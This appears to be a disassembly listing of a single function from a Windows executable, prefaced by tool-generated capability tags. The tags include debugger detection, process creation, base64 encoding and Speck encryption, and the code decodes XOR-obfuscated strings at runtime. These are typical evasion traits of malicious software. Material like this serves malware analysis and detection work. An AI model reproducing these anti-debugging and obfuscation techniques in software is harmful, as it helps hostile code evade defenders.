Function at 0x140001d50
Capabilities:
Check for debugger via api
Check for process debug object
Check processdebugflags
Check processdebugport
Create process on windows
Encode data using base64
Encrypt data using speck
Get common file path
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x838
movdqa xmmword [rsp + 0x820], xmm11
movdqa xmmword [rsp + 0x810], xmm10
movdqa xmmword [rsp + 0x800], xmm9
movaps xmmword [rsp + 0x7f0], xmm8
movdqa xmmword [rsp + 0x7e0], xmm7
movdqa xmmword [rsp + 0x7d0], xmm6
lea rcx, [rsp + 0x2e0]
call fcn.1400fef50
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
lea rcx, [rsp + 0x2e0]
call fcn.1400fef50
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
lea rax, [0x14016d4f5]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xfcc1e873e0de7a0d
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8930
movabs rcx, 0x2f113bdba3ebe379
xor rcx, qword [rax]
movabs rdx, 0x1deb291c0521a22e
xor rdx, qword [rax + 8]
mov r8d, 0x61da3a78
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rdx
mov dword [rsp + 0x2f0], r8d
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x2e0]
mov r8d, 0x14
call fcn.1400feff0
movzx eax, byte [rsp + 0x90]
cmp rax, 0x12
ja case.0x140001e90.730
lea rcx, [0x14010b060]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r13b, 1
lea rdx, [0x14016f62c]
lea rcx, [rsp + 0x2e0]
mov r8d, 0xa
call fcn.1400feff0
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x280], rax
movzx eax, byte [0x14017a148]
mov edx, 0xd8
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov r15, rax
lea rax, [0x14016d0ce]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x57d3c83a50758f83
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8c90
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx ebp, byte [rax + 0x20]
movzx eax, byte [0x14017a148]
mov edx, 0x21
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
movabs rcx, 0x4203a9c13a4ff3d
xor rsi, rcx
movabs rcx, 0xf326dd930704e23
xor rdi, rcx
movabs rcx, 0x6b6eb8739606babb
xor rbx, rcx
movabs rcx, 0x1c2087b0bceff0cb
xor r14, rcx
xor bpl, 0x85
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov rsi, rax
mov byte [rax + 0x20], bpl
lea rax, [0x14016abc2]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x28a8ffbce5f6ec08
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8b50
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
mov r14, qword [rax + 0x10]
movzx eax, byte [0x14017a148]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov qword [rsp + 0x78], r15
mov byte [rsp + 0x2c0], r13b
movabs rcx, 0x1b27eb65a574670f
xor rdi, rcx
movabs rcx, 0xbc3fd966cce1f49f
xor rbx, rcx
movabs rcx, 0x8da8fe922f2c3040
xor r14, rcx
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov rbx, rax
mov qword [rax + 0x10], r14
lea rax, [0x14016475c]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x868feab9bfac17d1
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8880
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
movzx ebp, word [rax + 0x20]
movzx r13d, byte [rax + 0x22]
movzx eax, byte [0x14017a148]
mov edx, 0x23
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
shl r13d, 0x10
or ebp, r13d
mov ecx, ebp
shr ecx, 0x10
xor cl, 0xe0
mov edx, ebp
xor dl, 0xf0
shr ebp, 8
xor bpl, 0x38
movzx edx, dl
movzx r8d, bpl
shl r8d, 8
or r8d, edx
movabs rdx, 0xc08517ce1349e1b1
xor rdi, rdx
movabs rdx, 0xdf0a598ceb92859c
xor r14, rdx
movabs rdx, 0x73141e7111f0d1b2
xor r15, rdx
movabs rdx, 0xb91e12584ef18644
xor r12, rdx
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rdi
mov word [rax + 0x20], r8w
mov qword [rsp + 0x58], rax
mov byte [rax + 0x22], cl
lea rax, [0x14016c71c]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x8f6a5a15e90951f6
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8da0
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov edi, dword [rax + 0x10]
movzx ebp, word [rax + 0x14]
movzx eax, byte [0x14017a148]
mov edx, 0x16
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov ecx, ebp
xor cl, 0x2c
shr ebp, 8
xor bpl, 0x4c
movzx edx, bpl
shl edx, 8
movzx ecx, cl
or ecx, edx
xor edi, 0xd9e90508
movabs rdx, 0x2a7545642ed51f79
xor r15, rdx
movabs rdx, 0xb60ee14aef969e23
xor r12, rdx
mov qword [rax], r12
mov qword [rax + 8], r15
mov dword [rax + 0x10], edi
mov qword [rsp + 0x60], rax
mov word [rax + 0x14], cx
lea rax, [0x140169a83]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xc20586a8f62da60f
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8d00
mov r12, qword [rax]
mov r13, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
movzx eax, byte [0x14017a148]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
movq xmm0, r13
movq xmm1, r12
punpcklqdq xmm1, xmm0
pxor xmm1, xmmword [0x14010b020]
movq xmm0, r15
movq xmm2, rdi
punpcklqdq xmm2, xmm0
pxor xmm2, xmmword [0x14010b030]
movdqu xmmword [rax + 0x10], xmm2
mov qword [rsp + 0x68], rax
movdqu xmmword [rax], xmm1
lea rax, [0x14016a3be]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xcb7b0d7ae427f497
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9040
mov r12, qword [rax]
mov rbp, qword [rax + 8]
mov r13, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx r15d, word [rax + 0x1c]
movzx r14d, byte [rax + 0x1e]
movzx eax, byte [0x14017a148]
mov edx, 0x1f
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
shl r14d, 0x10
or r15d, r14d
mov ecx, r15d
shr ecx, 0x10
xor cl, 0x96
mov edx, r15d
xor dl, 0xc7
shr r15d, 8
xor r15b, 0x95
movzx edx, dl
movzx r8d, r15b
shl r8d, 8
or r8d, edx
xor edi, 0x181c1ce7
movabs rdx, 0x9c31cef018016a55
xor r13, rdx
movabs rdx, 0x3f1ec70a1739be35
xor rbp, rdx
movabs rdx, 0xa9254ccb1119ab9e
xor r12, rdx
mov qword [rax], r12
mov qword [rax + 8], rbp
mov qword [rax + 0x10], r13
mov dword [rax + 0x18], edi
mov word [rax + 0x1c], r8w
mov qword [rsp + 0x80], rax
mov byte [rax + 0x1e], cl
lea rax, [0x1401671e9]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x5cc1f808f69c35cd
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9190
mov r12, qword [rax]
mov r13, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
movzx eax, byte [0x14017a148]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
movq xmm0, r13
movq xmm1, r12
punpcklqdq xmm1, xmm0
pxor xmm1, xmmword [0x14010b040]
movq xmm0, r15
movq xmm2, rdi
punpcklqdq xmm2, xmm0
pxor xmm2, xmmword [0x14010b050]
movdqu xmmword [rax + 0x10], xmm2
mov qword [rsp + 0x88], rax
movdqu xmmword [rax], xmm1
lea rax, [0x1401627d6]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x6497df9d93ac1c64
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8b00
mov r15, qword [rax]
mov r13, qword [rax + 8]
mov rbp, qword [rax + 0x10]
mov r12, qword [rax + 0x18]
movzx edi, word [rax + 0x20]
movzx eax, byte [0x14017a148]
mov edx, 0x22
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov r14, rax
movabs rax, 0x68abad883e6f9a1e
xor r12, rax
movabs rax, 0xacf18f533b44d901
xor rbp, rax
movabs rax, 0x4e6d82349ae12b73
xor r13, rax
movabs rax, 0xcfac4a63bbadad05
xor r15, rax
mov eax, edi
xor al, 0xa5
shr edi, 8
xor dil, 0xc3
movzx ecx, dil
shl ecx, 8
movzx eax, al
or eax, ecx
mov qword [r14], r15
mov qword [r14 + 8], r13
mov qword [r14 + 0x10], rbp
mov qword [r14 + 0x18], r12
mov word [r14 + 0x20], ax
lea rax, [0x140162e20]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xb666add89f4a2024
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8be0
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov ebp, dword [rax + 0x18]
movzx edi, byte [rax + 0x1c]
movzx eax, byte [0x14017a148]
mov edx, 0x1d
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
movabs rcx, 0xe124b25c73970016
xor r15, rcx
movabs rcx, 0x9c4762d854ab8b3e
xor r12, rcx
movabs rcx, 0x214e263aeacaf32d
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
xor ebp, 0x9a8e348b
mov dword [rax + 0x18], ebp
xor dil, 4
mov byte [rax + 0x1c], dil
mov rdi, qword [rsp + 0x78]
mov qword [rdi], 0x21
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], 0x21
mov qword [rdi + 0x18], 0x18
mov qword [rdi + 0x20], rbx
mov qword [rdi + 0x28], 0x18
mov qword [rdi + 0x30], 0x23
mov rcx, qword [rsp + 0x58]
mov qword [rdi + 0x38], rcx
mov qword [rdi + 0x40], 0x23
mov qword [rdi + 0x48], 0x16
mov rcx, qword [rsp + 0x60]
mov qword [rdi + 0x50], rcx
mov qword [rdi + 0x58], 0x16
mov qword [rdi + 0x60], 0x20
mov rcx, qword [rsp + 0x68]
mov qword [rdi + 0x68], rcx
mov qword [rdi + 0x70], 0x20
mov qword [rdi + 0x78], 0x1f
mov rcx, qword [rsp + 0x80]
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], 0x1f
mov qword [rdi + 0x90], 0x20
mov rcx, qword [rsp + 0x88]
mov qword [rdi + 0x98], rcx
mov qword [rdi + 0xa0], 0x20
mov qword [rdi + 0xa8], 0x22
mov qword [rdi + 0xb0], r14
mov qword [rdi + 0xb8], 0x22
mov qword [rdi + 0xc0], 0x1d
mov qword [rdi + 0xc8], rax
mov qword [rdi + 0xd0], 0x1d
mov r15, rdi
add r15, 0x20
mov eax, 0xc0
xor edx, edx
nop word [rax + rax]
lea rsi, [rdx + 0x18]
mov r13, qword [rdi + rdx]
movabs rcx, 0x8000000000000000
cmp r13, rcx
je 0x14000343d
mov r14, qword [rdi + rdx + 8]
mov r12, qword [rdi + rdx + 0x10]
test r12, r12
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r13
je 0x140002750
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, r12
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rbx, rax
jmp 0x140002755
mov ebx, 1
mov rcx, rbx
mov qword [rsp + 0x80], r14
mov rdx, r14
mov r8, r12
call sub.msvcrt.dll_memcpy
mov edx, 3
lea rcx, [0x14016ef38]
call fcn.1400fb630
mov r14, rax
mov rcx, rbx
mov rdx, r12
call fcn.1400fb630
mov rsi, rax
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x2e0]
mov r8, r14
mov r9, rax
call fcn.1400ee2e0
mov rdi, qword [rsp + 0x2e0]
mov rbp, qword [rsp + 0x2e8]
test rdi, rdi
je 0x1400028b0
test rbp, rbp
je 0x1400027d0
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
test rsi, rsi
je 0x1400027dd
mov rcx, rsi
call sub.oleaut32.dll_SysFreeString
xor esi, esi
mov r13d, 0
test r14, r14
je 0x1400027f5
mov rcx, r14
call sub.oleaut32.dll_SysFreeString
mov r13d, esi
test r12, r12
je 0x14000280b
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov r14d, 1
test rdi, rdi
je 0x1400028e0
cmp r13b, 0x12
jne 0x140002d2d
test r12, r12
je 0x140002841
mov rsi, rbp
mov rdi, r12
nop
mov rcx, rsi
call fcn.1400e9a30
add rsi, 0x30
dec rdi
jne 0x140002830
test r14, r14
je 0x140002857
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbp
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x58]
je 0x14000287a
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x80]
call sub.KERNEL32.dll_HeapFree
test r12, r12
je 0x14000346e
mov rax, qword [rsp + 0x68]
add rax, 0xffffffffffffffe8
add r15, 0x18
mov rdx, rsi
cmp rsi, 0xd8
mov rdi, qword [rsp + 0x78]
jne 0x1400026f0
jmp 0x14000344a
test rsi, rsi
je 0x1400028bd
mov rcx, rsi
call sub.oleaut32.dll_SysFreeString
mov sil, 0x12
mov r13b, 0x12
test r14, r14
jne 0x1400027ea
jmp 0x1400027f5
mov byte [rsp + 0x240], 0x12
lea rcx, [rsp + 0x2e0]
mov rdx, rbp
lea r13, [rsp + 0x240]
mov r8, r13
call fcn.1400f0680
cmp qword [rsp + 0x2e0], 0
je 0x140002b00
mov rsi, qword [rsp + 0x2e8]
lea r14, [rsp + 0x2f0]
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmmword [rsp + 0x180], xmm1
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x190], rax
test rsi, rsi
je 0x140002b00
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
movzx eax, byte [0x14017a148]
mov edx, 0xc0
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov r12, rax
mov qword [rax], rsi
movdqa xmm0, xmmword [rsp + 0x90]
movdqa xmm1, xmmword [rsp + 0xa0]
movdqu xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm1
mov rax, qword [rsp + 0xb0]
mov qword [r12 + 0x28], rax
mov qword [rsp + 0x140], 4
mov qword [rsp + 0x148], r12
mov qword [rsp + 0x150], 1
mov ebx, 1
mov esi, 0x38
jmp 0x140002a40
mov qword [r12 + rsi - 8], rdi
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmm1, xmmword [rsp + 0xe0]
movdqu xmmword [r12 + rsi], xmm0
movdqu xmmword [r12 + rsi + 0x10], xmm1
mov rax, qword [rsp + 0xf0]
mov qword [r12 + rsi + 0x20], rax
inc rbx
mov qword [rsp + 0x150], rbx
add rsi, 0x30
lea rcx, [rsp + 0x2e0]
mov rdx, rbp
mov r8, r13
call fcn.1400f0680
cmp qword [rsp + 0x2e0], 0
je 0x140002b2c
mov rdi, qword [rsp + 0x2e8]
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmmword [rsp + 0x180], xmm1
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x190], rax
test rdi, rdi
je 0x140002b2c
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
cmp rbx, qword [rsp + 0x140]
jne 0x140002a00
mov r8d, 1
lea rcx, [rsp + 0x140]
mov rdx, rbx
call fcn.1400d3a50
mov r12, qword [rsp + 0x148]
jmp 0x140002a00
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
movzx r13d, byte [rsp + 0x240]
cmp r13b, 0x12
jne 0x140002b63
mov r13b, 0x12
mov ebp, 8
xor r12d, r12d
xor r14d, r14d
jmp 0x14000281a
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
mov rdi, qword [rsp + 0x140]
mov rbp, qword [rsp + 0x148]
movzx r13d, byte [rsp + 0x240]
cmp r13b, 0x12
jne 0x140002b80
mov r12, rbx
mov r14, rdi
mov r13b, 0x12
jmp 0x14000281a
mov r14, qword [rsp + 0x248]
mov rbp, qword [rsp + 0x250]
mov r12, qword [rsp + 0x258]
jmp 0x14000281a
mov qword [rsp + 0x88], rbp
mov r14, qword [rsp + 0x248]
mov rbp, qword [rsp + 0x250]
mov r12, qword [rsp + 0x258]
test rbx, rbx
je 0x140002bc1
mov rsi, qword [rsp + 0x88]
nop dword [rax]
mov rcx, rsi
call fcn.1400e9a30
add rsi, 0x30
dec rbx
jne 0x140002bb0
test rdi, rdi
je 0x14000281a
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x88]
call sub.KERNEL32.dll_HeapFree
jmp 0x14000281a
mov eax, 0x10
cmp qword [rsp + 0x98], 0
je case.0x140001e90.736
mov r8, qword [rsp + rax + 0x90]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp case.0x140001e90.736
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x240], rax
lea rax, [0x140165b8b]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xa4b41c0f53f0de00
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e93e0
movabs rcx, 0xfee3f2c04eedb6db
xor rcx, qword [rax]
movabs rdx, 0x56a0cdc897cde13d
xor rdx, qword [rax + 8]
movabs r8, 0x37fbe1baac24a2c4
xor r8, qword [rax + 0x10]
movabs r9, 0xc75d17ef325c0fdc
xor r9, qword [rax + 0x18]
movabs r10, 0x619e69eed1b862df
xor r10, qword [rax + 0x20]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rdx
mov qword [rsp + 0x2f0], r8
mov qword [rsp + 0x2f8], r9
mov qword [rsp + 0x300], r10
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x240]
lea r8, [rsp + 0x2e0]
mov r9d, 0x28
call fcn.1400ee360
cmp byte [rsp + 0x170], 0x12
jne 0x140002d2d
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x188]
xor ecx, ecx
call fcn.1400e3740
test rax, rax
jne 0x140002d48
ud2
mov eax, 8
cmp qword [rsp + 0xa0], 0
jne 0x140002bf9
jmp case.0x140001e90.736
movups xmm0, xmmword [rax]
inc qword [rax]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [0x14016f2d0]
movaps xmmword [rsp + 0xd0], xmm0
movdqu xmm0, xmmword [0x14016f2e0]
movdqa xmmword [rsp + 0xe0], xmm0
lea r14, [rsi + rsi*2]
shl r14, 4
add r14, rdi
mov qword [rsp + 0x88], rdi
test rsi, rsi
jne 0x140002e60
mov rax, r14
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r14, rdi
je 0x140002dd1
mov rsi, rdx
shr rsi, 5
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.1400e9a30
add rdi, 0x30
dec rsi
jne 0x140002dc0
cmp qword [rsp + 0x78], 0
je 0x140002def
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x88]
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xe8]
test rbx, rbx
sete r13b
test rdi, rdi
je 0x140002e4d
mov rsi, qword [rsp + 0xd0]
test rbx, rbx
jne 0x1400033b2
lea rax, [rdi + 1]
mov ecx, 0x18
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add rdi, rax
cmp rdi, 0xffffffffffffffef
je 0x140002e4d
sub rsi, rax
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x240]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x140001e95
lea r15, [rsp + 0x178]
lea r12, [rsp + 0x310]
lea r13, [rsp + 0x170]
movdqa xmm6, xmmword [section..rdata]
movdqa xmm7, xmmword [0x14010b010]
xorps xmm8, xmm8
pcmpeqd xmm9, xmm9
mov rdi, qword [rsp + 0x88]
mov qword [rsp + 0x80], r14
jmp 0x140002f21
and al, 1
movzx eax, al
sub qword [rsp + 0xe0], rax
lea rax, [rcx - 0x10]
and r12, rax
mov rax, qword [rsp + 0x60]
mov byte [r14 + rcx], al
mov byte [r14 + r12 + 0x10], al
inc qword [rsp + 0xe8]
neg rcx
lea rax, [rcx + rcx*2]
mov qword [r14 + rax*8 - 0x18], rbp
mov qword [r14 + rax*8 - 0x10], rsi
mov qword [r14 + rax*8 - 8], rbp
mov r14, qword [rsp + 0x80]
lea r15, [rsp + 0x178]
lea r12, [rsp + 0x310]
lea r13, [rsp + 0x170]
nop word cs:[rax + rax]
mov rcx, r13
call fcn.1400e9a30
cmp rdi, r14
je 0x140002dd1
mov rax, rdi
add rdi, 0x30
mov rsi, qword [rax]
test rsi, rsi
je 0x140002d92
mov qword [rsp + 0x170], rsi
mov rcx, qword [rax + 0x28]
mov qword [r15 + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movdqu xmm1, xmmword [rax + 0x18]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
cmp qword [rsp + 0x188], 0
je 0x140002f10
movdqu xmm0, xmmword [rsp + 0x190]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm6
movdqa xmmword [rsp + 0x2e0], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm7
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x300], xmm0
movaps xmmword [r12], xmm8
mov qword [r12 + 0x10], 0
mov r8d, 0xb
lea rbx, [rsp + 0x2e0]
mov rcx, rbx
lea rdx, str.displayName_v
call fcn.1400f9cf0
mov byte [rsp + 0x140], 0xff
mov r8d, 1
mov rcx, rbx
lea rdx, [rsp + 0x140]
call fcn.1400f9cf0
mov rax, qword [rsp + 0x2f0]
mov r9, qword [rsp + 0x310]
shl r9, 0x38
or r9, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x2f8]
mov r8, qword [rsp + 0x2e0]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x2e8]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
rol rcx, 0x15
xor rax, r8
add rdx, rax
rol rax, 0x11
mov r8, rdx
rol r8, 0x20
xor r8, rax
xor r8, rcx
xor r8, rdx
mov rax, qword [rsp + 0x178]
mov rcx, r8
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
lea rcx, [rsi - 0x38]
xor edx, edx
and r8, rax
movdqu xmm1, xmmword [rsi + r8]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb r9d, xmm2
test r9w, r9w
je 0x140003180
tzcnt r10d, r9d
lea r11d, [r9 - 1]
and r11d, r9d
mov r9d, r11d
add r10, r8
and r10, rax
neg r10
imul r10, r10, 0x38
cmp qword [rcx + r10 + 0x10], 0xb
jne 0x140003120
lea r11, [rcx + r10]
mov r11, qword [r11 + 8]
mov rbx, qword [r11]
movabs rbp, 0x4e79616c70736964
xor rbx, rbp
mov r11, qword [r11 + 3]
movabs rbp, 0x656d614e79616c70
xor r11, rbp
or r11, rbx
jne 0x140003120
jmp 0x1400031b0
pcmpeqb xmm1, xmm9
pmovmskb r9d, xmm1
test r9d, r9d
jne 0x140002f10
add r8, rdx
add r8, 0x10
add rdx, 0x10
jmp 0x14000310a
cmp byte [rsi + r10 - 0x20], 2
jne 0x140002f10
add rsi, r10
mov r13, qword [rsi - 0x10]
mov rbp, qword [rsi - 8]
test rbp, rbp
je 0x1400031f1
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, rbp
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rsi, rax
jmp 0x1400031f6
mov esi, 1
mov rcx, rsi
mov rdx, r13
mov r8, rbp
call sub.msvcrt.dll_memcpy
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7a0], xmm0
lea rcx, [rsp + 0x7a0]
mov rdx, rsi
mov r8, rbp
call fcn.1400f1970
mov r13, rax
cmp qword [rsp + 0xe0], 0
je 0x140003398
mov r14, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
mov rax, r13
shr rax, 0x39
mov qword [rsp + 0x60], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm10, xmm0, 0
xor ecx, ecx
xor ebx, ebx
mov qword [rsp + 0x58], rcx
and r13, r12
movdqu xmm11, xmmword [r14 + r13]
movdqa xmm0, xmm11
pcmpeqb xmm0, xmm10
pmovmskb r15d, xmm0
nop dword [rax]
test r15w, r15w
je 0x1400032e0
tzcnt eax, r15d
lea ecx, [r15 - 1]
and ecx, r15d
mov r15d, ecx
add rax, r13
and rax, r12
neg rax
lea rax, [rax + rax*2]
cmp rbp, qword [r14 + rax*8 - 8]
jne 0x140003290
lea rax, [r14 + rax*8]
mov rdx, qword [rax - 0x10]
mov rcx, rsi
mov r8, rbp
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140003290
jmp 0x140003330
cmp rbx, 1
mov ebx, 1
mov rcx, qword [rsp + 0x58]
je 0x14000330b
pmovmskb eax, xmm11
xor ebx, ebx
test eax, eax
setne bl
tzcnt eax, eax
add rax, r13
and rax, r12
mov qword [rsp + 0x68], rax
pcmpeqb xmm11, xmm9
pmovmskb eax, xmm11
test eax, eax
jne 0x14000336f
add r13, rcx
add r13, 0x10
